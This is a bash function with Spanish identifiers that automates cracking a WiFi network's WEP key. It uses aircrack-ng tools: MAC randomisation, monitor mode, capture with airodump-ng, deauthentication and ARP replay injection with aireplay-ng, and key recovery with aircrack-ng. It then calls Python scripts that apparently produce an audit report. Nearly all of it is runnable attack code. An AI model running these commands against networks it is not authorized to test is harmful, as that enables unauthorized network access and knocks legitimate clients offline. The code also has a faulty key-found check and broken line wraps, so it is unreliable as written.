

```

AircrackWEP() {
    echo "***** Aircrack WEP*****"
    CambioMacRandom
    LINEA_AUX=$LINEA_ATAQUE
    LINEA_ATAQUE=$(head -$LINEA_ATAQUE "$ARCHIVO_REDES_SCAN" |
tail -1)
    BSSID=$(echo "$LINEA_ATAQUE" | awk -F "|" {' print $3 '})
    CANAL=$(echo "$LINEA_ATAQUE" | awk -F "|" {' print $4 '})
    ESSID=$(echo "$LINEA_ATAQUE" | awk -F "|" {' print $9 '})
    PRIVACY=$(echo "$LINEA_ATAQUE" | awk -F "|" {' print $5 '})
    CLIENT=$(cat $ARCHIVO_CAPTURAS-clients.csv | grep $BSSID)
    TARJETA_SELECCIONADA_MAC=$(echo "$CLIENT" | awk -F "," {'
print $1 '})

    if [ ! `echo $TARJETA_SELECCIONADA_MAC | grep ":"` ]
    then
        #Utilizo mi propia interfaz para realizar falsa
autenticacion
        TARJETA_SELECCIONADA_MAC=$(head -1 "$LOG_TARJETA" |
tail -1)
    else
        TARJETA_SELECCIONADA_MAC=$(echo "$CLIENT" | awk -F
",," {' print $1 '})
    fi

    TARJETA_MODO_MONITOR=$(head -1 "$ARCHIVO_TARJETA_MONITOR" |
tail -1)
    sudo airmon-ng stop $TARJETA_MODO_MONITOR

    TARJETAS_WIFI_DISPONIBLES=$(iwconfig --version | grep
"Recommend" | awk '{print $1}' | sort)
    INTERFAZ=$(echo $TARJETAS_WIFI_DISPONIBLES | awk '{print
$1}')
    sudo airmon-ng start $INTERFAZ $CANAL
    X1="airmon-ng start $INTERFAZ $CANAL"

    airodump-ng -c $CANAL --bssid $BSSID -w $CAPTURA_AIRCRAK
$TARJETA_MODO_MONITOR
    X2="airodump-ng -c $CANAL --bssid $BSSID -w output
$TARJETA_MODO_MONITOR"
    echo "....Comienzo a inyectar..."

    aireplay-ng -0 5 -a $BSSID -c $TARJETA_SELECCIONADA_MAC
$TARJETA_MODO_MONITOR
    X3="aireplay-ng -0 5 -a $BSSID -c $TARJETA_SELECCIONADA_MAC
$TARJETA_MODO_MONITOR"
    aireplay-ng -3 -b $BSSID -h $TARJETA_SELECCIONADA_MAC
$TARJETA_MODO_MONITOR
    X4="aireplay-ng -3 -b $BSSID -h $TARJETA_SELECCIONADA_MAC
$TARJETA_MODO_MONITOR"

    TIEMPO_ESCANE0="120"
    for A in `seq 1 $TIEMPO_ESCANE0`
    do

```

```

        sleep 1s
        if [ $A -eq $TIEMPO_ESCANE0 ]
        then
            X5="aircrack-ng -a 1 -s output-01.cap"
            aircrack-ng -a 1 -s
"$CAPTURA_AIRCRAK-01.cap" >> "$RUTA_AIRCRAK/aircrack-$BSSID.dat"
        else
            TIEMPO_RESTANTE=$(expr $TIEMPO_ESCANE0 - $A)
        fi
    done
    EsperarAcabarAircrack 10
    X6=`cat "aircrack-$BSSID.dat" | grep "WEP" | awk -F '(' '{print $2}' | awk -F 'IVs' '{print $1}'`
    X8=`cat "aircrack-$BSSID.dat" | grep "KEY FOUND"`
    X7="SI"
    if [ ! `echo "aircrack-$BSSID.dat" | grep "KEY FOUND"` ]
    then
        X7="N0"
    fi
    X9="aircrack-$BSSID.dat"

    (`sudo python "$RUTA_INFORME/SECWEP1.py" $BSSID "$ESSID"
$CANAL $TARJETA_SELECCIONADA_MAC`)
    (`sudo python "$RUTA_INFORME/SUBSWEP1.py" "$X1" "$X2" "$X3"
"$X4" "$X5" "$X6" "$X7" "$X8" "$X9"`)

    unset A, X1, X2, X3, X4, X5, X6, X7, X8, X9, BSSID, CANAL,
ESSID
}

```